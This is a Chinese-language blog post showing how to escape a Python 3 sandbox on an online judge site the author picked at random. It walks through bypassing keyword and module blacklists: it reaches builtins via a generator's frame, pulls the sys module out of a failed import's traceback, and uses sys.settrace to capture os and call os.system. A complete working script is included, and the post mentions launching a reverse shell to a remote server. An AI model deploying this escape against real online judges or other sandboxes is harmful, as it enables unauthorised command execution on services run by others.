最近突发奇想,想对所掌握的python知识进行总结一下,目前其实还停留在python层面如何使用,还没有深入到虚拟机部分,如果下面有哪些错误,欢迎指出。
OJ(Online judge, 在线编程测评提交代码到后台运行检查)网站一般都允许各种各样的代码提交,其中很有可能包含python3,于是决定尝试通过python3的代码执行,进行沙箱逃逸,以及绕过各种限制。
我随便找了一个OJ网站,这个站点的python3有如下限制
- 代码字面量不能出现一些敏感词,例如
open
,os
,read
,globals
,locals
,vars
,raise
,getattr
,exec
,eval
,compile
, 等... - 有模块黑名单,无法通过任何方式导入
os
,sys
,gc
等以及包含了他们的模块的模块(如inspect
就包含了sys
,所以也不能导入) - 以及一些非常变态的,不允许出现连续的两个下划线
__
- 没有任何输出反馈,也就是
print
没作用
在以上的限制下
- 也就是几乎没有能导入的模块了,有少部分可以但也没法用
- 没有局部变量列表,没有全局变量列表
- 但是可以
import marshal
,但这对于破解不是必须的
我决定给自己增加一点难度,因为其实虽然看不到globals,但是python3.5之后又自己的loader机制,所以全局变量里默认是有__loader__
这个的,可以通过这个来进入到_imp
模块内部
- 不通过任何import语句获得模块
- 不使用全局变量里的
sys
,__loader__
(怀疑是忘记去掉了)
目标: 获得当前进程的shell
整个步骤大致如下
- 尝试code object
- 获得frame object
- 获得builtins,获得
getattr
,open
,__import__
等关键函数 - 如何输出信息?
- 产生os或sys相关的error,获取traceback对象,获取tb_frame,获取f_locals,获取sys模块
- 使用sys.settrace,寻找os模块
- 使用
os.system
要获得shell,很自然想到os.system()
, subprocess.*
, 那么如何拿到os
?本来想通过code object的成员找到引用,但是突然意识到code并不是runtime,必须还得有exec
或eval
,而这两个目前只能用字面量获得,字面量有敏感词限制。
核心的思路还是通过非字面量获得对象,那么在哪里能通过非字面量对象获取对象?自然想到了frame object
以下是python3里所有可以获得frame对象的地方
-
sys.settrace(lambda frame, ...)
-
threading.settrace(lambda frame, ...)
-
sys._getframe(0)
-
<generator>.gi_frame
-
<coroutine>.cr_grame
-
traceback.TracebackException
显然只有generator和coroutine不需要额外导入模块,以generator为例,python3里有各种各样的generator的
g = (_ for _ in ())
def _(): yield; g = _()
然后
>>> g
<generator object func at 0x1016c1f48>
>>> g.gi_frame
<frame at 0x1017d9048, file '<stdin>', line 1, code func>
builtins = g.gi_frame.f_builtins
ex_ec = builtins['ex''ec'] # 用字符串拼接绕开字面量敏感词
ga = builtins['get''attr']
ip = builtins['_''_im''port_''_']
op = builtins['op''en']
>>> ex_ec
<built-in function exec>
到此为止,我们已经得到了exec
, getattr
, __import__
, open
,这几个关键函数可以解除很多限制
exec
: 执行任意代码getattr
: 读取对象任意属性open
: 读取文件系统
由于没有屏蔽报错信息,所以可以通过traceback信息看反馈
# 假设下面是要打印的变量
v = ...
# 下面调用会报KeyError
_ = {}
_[v]
正好由于import一个被禁用的模块会报错,那我们在捕捉这个报错的时候就能拿到exception object,通过此对象可获得tb object,进一步获得tb_frame,由于是import相关的逻辑,内部一定存在sys模块,如果没有,那么顺着帧栈往上找(f_back)
try:
import gc
except Exception as e:
tb_frame = ga(e, '_''_traceback_''_').tb_frame
f_loc_als = ga(tb_frame, 'f_loc''als')
_s_y_s_ = f_loc_als['s''ys'] # 多数情况下都有,没有的话就在f_back里找,总会找到
_s_y_s_.settrace(tracefunc)
有了sys模块,那就可以做更多的事情了,已知sys.modules
里相关模块已经被去除,所以换其他办法,可以通过settrace来跟踪每一个调用,settrace本来是用作profile分析的,这个方法接受一个回调函数,python每执行一行代码、或每进入一个新函数栈都会回调一次传入的回调函数,非常暴力。
tracefunc实现很暴力也很简单,这里就直接对每一帧的globals和locals里的所有对象进行扫描判断,一旦执行到os模块相关的代码,立即会捕捉到os模块,然后也别等了,直接调用相关方法
def shell(mod):
return ga(mod, 'sy''stem')
def safe_repr(v):
try:
return repr(v)
except:
return ''
def make_tb_text(v):
_ = {}
_[v]
def tracefunc(frame, event, arg):
if event == 'call':
f_loc_als = ga(frame, 'f_loc''als')
f_glo_bals = ga(frame, 'f_glo''bals')
for scope in (f_loc_als, f_glo_bals):
for k, v in scope.items():
if "module 'o""s'" in safe_repr(v):
#make_tb_text(v)
shell(v)('ls') # 这里以ls为例
return
# 租后随便import一个os相关的模块,触发上面tracefunc
import gc
上面的代码其实已经写出了os.system
的调用,到此为止已经可以执行任意的shell了,可以直接起一个后台进程连到某远程服务器,开启一个反弹shell。
# coding=utf-8
def func(): yield
g = func()
builtins = g.gi_frame.f_builtins
ga = builtins['get''attr']
op = builtins['op''en']
ex = builtins['ex''ec']
ip = builtins['_''_import_''_']
ld = builtins['_''_loader_''_']
def shell(mod):
return ga(mod, 'sy''stem')
def safe_repr(v):
try:
return repr(v)
except:
return ''
def make_tb_text(v):
_ = {}
_[v]
def tracefunc(frame, event, arg):
if event == 'call':
f_loc_als = ga(frame, 'f_loc''als')
f_glo_bals = ga(frame, 'f_glo''bals')
for scope in (f_loc_als, f_glo_bals):
for k, v in scope.items():
if "module 'o""s'" in safe_repr(v):
#make_tb_text(v)
shell(v)('ls')
return
try:
o = ip('o''s')
except Exception as e:
tb_frame = ga(e, '_''_traceback_''_').tb_frame
f_loc_als = ga(tb_frame, 'f_loc''als')
_s_y_s_ = f_loc_als['s''ys']
_s_y_s_.settrace(tracefunc)
import gc
整个过程其实没有用到exec
,其实也用不到,也没有通过修改importlib里的函数来绕过loader的限制,可能importlib里直接改loader就行了,但是由于我不熟悉importlib的使用,所以没往这方面尝试。
另外由于始终避免不了少量的字面量代码,如.gi_frame
,如果这个被设为敏感词,那么以上方法将全部失效。
最后请大家不要模仿,这不是个学习python的正确途径
// TODO
// TODO